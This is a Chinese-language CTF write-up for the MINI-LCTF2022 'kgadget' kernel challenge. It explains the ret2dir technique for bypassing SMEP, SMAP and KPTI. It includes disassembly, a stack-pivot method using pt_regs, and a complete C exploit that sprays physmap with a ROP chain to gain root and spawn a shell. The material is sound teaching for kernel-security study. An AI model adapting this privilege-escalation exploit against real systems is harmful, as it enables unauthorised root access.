Kernel Ret2dir

return to direct-mapped memory

绕过smep smap保护等用户空间与内核空间隔离的防护手段

查看linux x86虚拟内存布局 https://elixir.bootlin.com/linux/v5.19.17/source/Documentation/x86/x86_64/mm.rst

里面存在一块direct mapping of all physical memory的虚拟内存线性地直接映射了整个或部分物理内存空间,这块区域也叫physmap

image-20230820153202390

image-20230820102303460

Linux在x86-64架构是直接映射了整个物理内存到这块区域(上面图片是48位虚拟内存4级页表的情况),所有就可以利用这块区域访问到在用户空间布置的一些payload,新版本这块直接映射区没有执行权限,只能rop

image-20230820154114405

MINI-LCTF2022 - kgadget

grxer@Ubuntu22 ~/k/kgadget> file bzImage
bzImage: Linux kernel x86 boot executable bzImage, version 5.10.112 (arttnba3@ubuntu) #1 SMP Thu Apr 21 19:47:35 +08 2022, RO-rootFS, swap_dev 0X9, Normal VGA
grxer@Ubuntu22 ~/k/k/rootfs> cpio -idmv < rootfs.cpio
grxer@Ubuntu22 ~/k/kgadget> checksec kgadget.ko
[*] '/home/grxer/kernel-env/kgadget/kgadget.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)

init脚本里限制了demsg和/proc/kallsystem

echo 1 >/proc/sys/kernel/dmesg_restrict
echo 1 >/proc/sys/kernel/kptr_restrict

run.sh开了smep smap kpti,没开kaslr,可以通过vmlinux获取函数地址和gadget位置

-cpu kvm64,+smep,+smap \
-append "console=ttyS0 nokaslr pti=on quiet oops=panic panic=1" \

没有给vmlinux需要从bzImage里恢复,两种方法

  • extract-vmlinux ps:这道题用这个没恢复出来符号表
  • vmlinux-to-elf

file_operations结构体里重写了下面的函数

image-20230820170432061

ioctl函数伪代码不太好看,直接看汇编

text.unlikely:00000000000000F3                               ; __int64 __fastcall kgadget_ioctl(file *__file, unsigned int cmd, unsigned __int64 param)
.text.unlikely:00000000000000F3 kgadget_ioctl proc near ; DATA XREF: __mcount_loc:0000000000000653↓o
.text.unlikely:00000000000000F3 ; .data:kgadget_fo↓o
.text.unlikely:00000000000000F3
.text.unlikely:00000000000000F3 regs_addr= qword ptr -20h
.text.unlikely:00000000000000F3
.text.unlikely:00000000000000F3 __file = rdi ; file *
.text.unlikely:00000000000000F3 cmd = rsi ; unsigned int
.text.unlikely:00000000000000F3 param = rdx ; unsigned __int64
.text.unlikely:00000000000000F3 E8 40 0F 00 00 call __fentry__ ; PIC mode
.text.unlikely:00000000000000F3
.text.unlikely:00000000000000F8 55 push rbp
.text.unlikely:00000000000000F9 48 89 E5 mov rbp, rsp
.text.unlikely:00000000000000FC 53 push rbx
.text.unlikely:00000000000000FD 48 83 EC 10 sub rsp, 10h
.text.unlikely:0000000000000101 65 48 8B 04 25 28 00 00 00 mov rax, gs:28h
.text.unlikely:000000000000010A 48 89 45 F0 mov [rbp-10h], rax
.text.unlikely:000000000000010E 31 C0 xor eax, eax
.text.unlikely:0000000000000110 81 FE 52 BF 01 00 cmp esi, 1BF52h
.text.unlikely:0000000000000116 0F 85 87 00 00 00 jnz loc_1A3
.text.unlikely:0000000000000116
.text.unlikely:000000000000011C 48 8B 1A mov rbx, [param]
.text.unlikely:000000000000011F kgadget_ptr = rbx ; void (*)(void)
.text.unlikely:000000000000011F 48 C7 C7 70 03 00 00 mov __file, offset unk_370
.text.unlikely:0000000000000126 48 89 DE mov cmd, kgadget_ptr
.text.unlikely:0000000000000129 E8 2A 0F 00 00 call printk ; PIC mode
.text.unlikely:0000000000000129
.text.unlikely:000000000000012E 48 C7 C7 A0 03 00 00 mov rdi, offset unk_3A0
.text.unlikely:0000000000000135 E8 1E 0F 00 00 call printk ; PIC mode
.text.unlikely:0000000000000135
.text.unlikely:000000000000013A 48 89 65 E8 mov [rbp-18h], rsp
.text.unlikely:000000000000013E 48 8B 45 E8 mov rax, [rbp-18h]
.text.unlikely:0000000000000142 48 C7 C7 F8 03 00 00 mov rdi, offset unk_3F8
.text.unlikely:0000000000000149 48 05 00 10 00 00 add rax, 1000h
.text.unlikely:000000000000014F 48 25 00 F0 FF FF and rax, 0FFFFFFFFFFFFF000h
.text.unlikely:0000000000000155 48 8D 90 58 FF FF FF lea rdx, [rax-0A8h]
.text.unlikely:000000000000015C 48 89 55 E8 mov [rbp-18h], rdx
.text.unlikely:0000000000000160 regs = rdx ; pt_regs *
.text.unlikely:0000000000000160 48 BA 61 72 74 74 6E 62 61 33 mov regs, '3abnttra'
.text.unlikely:000000000000016A 48 89 90 58 FF FF FF mov [rax-0A8h], rdx
.text.unlikely:0000000000000171 48 89 90 60 FF FF FF mov [rax-0A0h], rdx
.text.unlikely:0000000000000178 48 89 90 68 FF FF FF mov [rax-98h], rdx
.text.unlikely:000000000000017F 48 89 90 70 FF FF FF mov [rax-90h], rdx
.text.unlikely:0000000000000186 48 89 90 78 FF FF FF mov [rax-88h], rdx
.text.unlikely:000000000000018D 48 89 50 80 mov [rax-80h], rdx
.text.unlikely:0000000000000191 48 89 50 90 mov [rax-70h], rdx
.text.unlikely:0000000000000195 E8 BE 0E 00 00 call printk ; PIC mode
.text.unlikely:0000000000000195
.text.unlikely:000000000000019A E8 B1 0E 00 00 call __x86_indirect_thunk_rbx ; PIC mode

会把ioctl第三个参数里的值当作函数指针去调用,所以可以在用户态布置提权rop链,同时我们可以在内核态从线性映射区那里访问到嘛,利用mmap申请且布置很多gadget内核访问到的机率就大的多

可以mmap申请后,gdb里用find命令去找下,验证下内核访问

find 0xffff888000000000,+0x10000000,"target strings"

现在需要解决的一个问题就是怎么把栈迁移到可以访问到用户态的线性映射区?

先了解下一点没开kpit时的syscall(开了pit还需要切换cr3,换页表)

syscall会把syscall的下一条指令地址即rip保存到rcx,rflags保存到 r11中,后执行到entry_SYSCALL_64

ENTRY(entry_SYSCALL_64)
/* SWAPGS_UNSAFE_STACK是一个宏,x86直接定义为swapgs指令 */
SWAPGS_UNSAFE_STACK

/* 保存栈值,并设置内核栈 */
movq %rsp, PER_CPU_VAR(rsp_scratch)
movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp


/* 通过push保存寄存器值,形成一个pt_regs结构 */
/* Construct struct pt_regs on stack */
pushq $__USER_DS /* pt_regs->ss */
pushq PER_CPU_VAR(rsp_scratch) /* pt_regs->sp */
pushq %r11 /* pt_regs->flags */
pushq $__USER_CS /* pt_regs->cs */
pushq %rcx /* pt_regs->ip */
pushq %rax /* pt_regs->orig_ax */
pushq %rdi /* pt_regs->di */
pushq %rsi /* pt_regs->si */
pushq %rdx /* pt_regs->dx */
pushq %rcx tuichu /* pt_regs->cx */
pushq $-ENOSYS /* pt_regs->ax */
pushq %r8 /* pt_regs->r8 */
pushq %r9 /* pt_regs->r9 */
pushq %r10 /* pt_regs->r10 */
pushq %r11 /* pt_regs->r11 */
sub $(6*8), %rsp /* pt_regs->bp, bx, r12-15 not saved */
.......

通过一系列的push在内核栈上形成一个pt_regs结构体

/* arch/x86/include/asm/ptrace.h */
struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};

所以我们可以在用户态控制这部分寄存器值,从而控制内核栈上的值,然后通过add rsp,val,ret和pop rsp,ret来实现栈迁移

本题里除r8,r9寄存器其余都被破坏了,不过两个寄存器也够了

先利用add rsp,val,ret把栈降到r9寄存器的位置,r9寄存器里存放pop rsp,ret的gadget,pop rsp完成栈迁移到r8里的值,ret执行迁移处的内容,所以r8里就存猜测的physmap地址

用下面的代码测试,断点断到最后执行 call __x86_indirect_thunk_rbx的ret

__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, 0x22222222;"
"mov r12, 0x33333333;"
"mov rbp, 0x44444444;"
"mov rbx, 0x55555555;"
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, 0x999999999;"
"mov r8, 0x888888888;"
"mov rax, 0x10;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 0x33;"
"mov rsi, 0x1bf52;"
"mov rdi, fd;"
"syscall"
);

__x86_indirect_thunk_rbx最后实现调用

image-20230823153602727

image-20230823153135353

所以需要add rsp, 0xc0,找到了一条平替的gadget

0xffffffff810737fe: add rsp, 0xa0; pop rbx; pop r12; pop r13; pop rbp; ret;

由于开了pti,提权后返回用户态起rootshell前需要切换cr3

内核空间的PGD和用户空间的PGD连续的放置在一个8KB的内存空间中(内核态在低位,用户态在高位)。这段空间必须是8K对齐的,这样将CR3的切换操作转换为将CR3值的第13位(由低到高)的置位或清零操作,提高了CR3切换的速度。

image-20230823181758556

切换到用户页表把第13位置1

;SWITCH_USER_CR3
mov rdi, cr3
or rdi, 1000h
mov cr3, rdi

没有合适gadget来利用

由于没开kaslr,可以用swapgs_restore_regs_and_return_to_usermode函数来返回,这里从恢复的vmlinux看的话,vmlinux应该是恢复的有点问题

pwndbg> disassemble swapgs_restore_regs_and_return_to_usermode                                                                                                                                                
Dump of assembler code for function swapgs_restore_regs_and_return_to_usermode:
0xffffffff81c00fb0 <+0>: nop DWORD PTR [rax+rax*1+0x0]
0xffffffff81c00fb5 <+5>: pop r15
0xffffffff81c00fb7 <+7>: pop r14
0xffffffff81c00fb9 <+9>: pop r13
0xffffffff81c00fbb <+11>: pop r12
0xffffffff81c00fbd <+13>: pop rbp
0xffffffff81c00fbe <+14>: pop rbx
0xffffffff81c00fbf <+15>: pop r11
0xffffffff81c00fc1 <+17>: pop r10
0xffffffff81c00fc3 <+19>: pop r9
0xffffffff81c00fc5 <+21>: pop r8
0xffffffff81c00fc7 <+23>: pop rax
0xffffffff81c00fc8 <+24>: pop rcx
0xffffffff81c00fc9 <+25>: pop rdx
0xffffffff81c00fca <+26>: pop rsi;直到这里恢复一些当时中断保存的pt_regs寄存器组
0xffffffff81c00fcb <+27>: mov rdi,rsp;一般返回用户态起shll的rop直接返回这里即可
0xffffffff81c00fce <+30>: mov rsp,QWORD PTR gs:0x6004
0xffffffff81c00fd7 <+39>: push QWORD PTR [rdi+0x30]
0xffffffff81c00fda <+42>: push QWORD PTR [rdi+0x28]
0xffffffff81c00fdd <+45>: push QWORD PTR [rdi+0x20]
0xffffffff81c00fe0 <+48>: push QWORD PTR [rdi+0x18]
0xffffffff81c00fe3 <+51>: push QWORD PTR [rdi+0x10]
0xffffffff81c00fe6 <+54>: push QWORD PTR [rdi]
0xffffffff81c00fe8 <+56>: push rax
0xffffffff81c00fe9 <+57>: xchg ax,ax
0xffffffff81c00feb <+59>: mov rdi,cr3
0xffffffff81c00fee <+62>: jmp 0xffffffff81c01024 <swapgs_restore_regs_and_return_to_usermode+116>
......
0xffffffff81c01024 <swapgs_restore_regs_and_return_to_usermode+116>: or rdi,0x1000;恢复用户态PGD
0xffffffff81c0102b <swapgs_restore_regs_and_return_to_usermode+123>: mov cr3,rdi
0xffffffff81c0102e <swapgs_restore_regs_and_return_to_usermode+126>: pop rax
0xffffffff81c0102f <swapgs_restore_regs_and_return_to_usermode+127>: pop rdi
0xffffffff81c01030 <swapgs_restore_regs_and_return_to_usermode+128>: swapgs
0xffffffff81c01033 <swapgs_restore_regs_and_return_to_usermode+131>: jmp 0xffffffff81c01060 <native_iret>
......
0xffffffff81c01060 <native_iret>: test BYTE PTR [rsp+0x20],0x4;需要不相等,一般满足
0xffffffff81c01065 <native_iret+5>: jne 0xffffffff81c01069 <native_irq_return_ldt>
0xffffffff81c01067 <native_irq_return_iret>: iretq

切换了用户态的页表和gs寄存器,多pop了rax和rdi,所以提权rop链变为

rsp  ---->  swapgs_restore_regs_and_return_to_usermode::mov_rdi_rsp
0
0
get root shell
cs
rflags
rsp
ss

physmap里最后的形式就是下面这样

------------------------
add rsp, val ; ret
add rsp, val ; ret
add rsp, val ; ret
add rsp, val ; ret
...
add rsp, val ; ret # 该gadget必定会命中下一个区域中的一条ret,之后便能平缓地“滑”到常规的提权 rop 上
------------------------
ret
ret
...
ret
------------------------
common root ROP chain
------------------------

exp

#include <assert.h>
#include <fcntl.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
size_t page_size;
size_t pop_rsp_ret = 0xffffffff811483d0;
size_t add_rsp_0xc0 = 0xffffffff810737fe;
size_t ret = 0xffffffff8108c6f1;
size_t pop_rdi_ret = 0xffffffff8108c6f0;
size_t prepare_kernel_cred = 0xffffffff810c9540;
size_t commit_creds = 0xffffffff810c92e0;
size_t init_cred = 0xffffffff82a6b700;
size_t swapgs = 0xffffffff81c0129c;
size_t iret_poprbp = 0xffffffff8103ba65;
size_t guess;
size_t *physmap_spray_arr[16000];
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0 + 27;
int fd;
void spawn_shell() {
if (!getuid()) {
system("/bin/sh");
} else {
puts("[*]spawn shell error!");
}
exit(0);
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*]status has been saved.");
}
void constructROPChain(size_t *rop) {
int idx = 0;
for (; idx < (page_size / 8 - 0x30); idx++)
rop[idx] = add_rsp_0xc0;
for (; idx < (page_size / 8 - 0x10); idx++)
rop[idx] = ret;
rop[idx++] = pop_rdi_ret;
rop[idx++] = init_cred;
rop[idx++] = commit_creds;
rop[idx++] = swapgs_restore_regs_and_return_to_usermode;
rop[idx++] = 0;
rop[idx++] = 0;
rop[idx++] = (size_t)spawn_shell;
rop[idx++] = user_cs;
rop[idx++] = user_rflags;
rop[idx++] = user_sp;
rop[idx++] = user_ss;
}
int main() {
save_status();
fd = open("/dev/kgadget", O_RDWR);
if (fd < 0) {
puts("[*]open error!");
exit(0);
}
page_size = sysconf(_SC_PAGESIZE);
physmap_spray_arr[0] = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
constructROPChain(physmap_spray_arr[0]);
for (int i = 1; i < 15000; i++) {
physmap_spray_arr[i] = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (!physmap_spray_arr[i]) {
perror("Mmap Failed!");
exit(-1);
}
memcpy(physmap_spray_arr[i], physmap_spray_arr[0], page_size);
}
guess = 0xffff888000000000 + 0x7000000;
__asm__("mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, 0x22222222;"
"mov r12, 0x33333333;"
"mov rbp, 0x44444444;"
"mov rbx, 0x55555555;"
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, pop_rsp_ret;"
"mov r8, guess;"
"mov rax, 0x10;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, guess;"
"mov rsi, 0x1bf52;"
"mov rdi, fd;"
"syscall");
}

image-20230828094130225

参考